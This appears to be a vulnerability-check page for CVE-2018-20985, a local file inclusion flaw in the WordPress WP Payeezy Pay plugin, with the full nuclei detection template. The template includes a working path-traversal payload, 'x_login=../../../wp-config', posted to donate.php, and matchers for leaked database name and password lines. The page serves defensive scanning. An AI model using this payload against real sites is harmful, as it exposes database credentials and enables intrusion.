WordPress Payeezy Pay <=2.97 - Local File Inclusion

criticalseverity

9.8CVSS score

7.7%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

WordPress Plugin WP Payeezy Pay is prone to a local file inclusion vulnerability because it fails to sufficiently verify user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. WordPress Plugin WP Payeezy Pay version 2.97 is vulnerable; prior versions are also affected.

Impact

The vulnerability allows an attacker to include local files and execute arbitrary code on the server.

Fix

Update to the latest version of WordPress Payeezy Pay plugin.

How to confirm it

Send: POST {{BaseURL}}/wp-content/plugins/wp-payeezy-pay/donate.php
Positive when: contains "The base configuration for WordPress" and "define( 'DB_NAME'," and "define( 'DB_PASSWORD'," AND status 200

Run it with nuclei: nuclei -id CVE-2018-20985 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-20985

info:
  name: WordPress Payeezy Pay <=2.97 - Local File Inclusion
  author: daffainfo
  severity: critical
  description: WordPress Plugin WP Payeezy Pay is prone to a local file inclusion vulnerability because it fails to sufficiently verify user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. WordPress Plugin WP Payeezy Pay version 2.97 is vulnerable; prior versions are also affected.
  impact: |
    The vulnerability allows an attacker to include local files and execute arbitrary code on the server.
  remediation: |
    Update to the latest version of WordPress Payeezy Pay plugin.
  reference:
    - https://www.pluginvulnerabilities.com/2018/12/06/our-improved-proactive-monitoring-has-now-caught-a-local-file-inclusion-lfi-vulnerability-as-well/
    - https://wordpress.org/plugins/wp-payeezy-pay/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20985
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-20985
    cwe-id: CWE-20
    epss-score: 0.07671
    epss-percentile: 0.94636
    cpe: cpe:2.3:a:payeezy:wp_payeezy_pay:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: payeezy
    product: wp_payeezy_pay
    framework: wordpress
  tags: cve,cve2018,wordpress,lfi,plugin,payeezy,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-payeezy-pay/donate.php"

    body: "x_login=../../../wp-config"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "The base configuration for WordPress"
          - "define( 'DB_NAME',"
          - "define( 'DB_PASSWORD',"
        condition: and

      - type: status
        status:
          - 200

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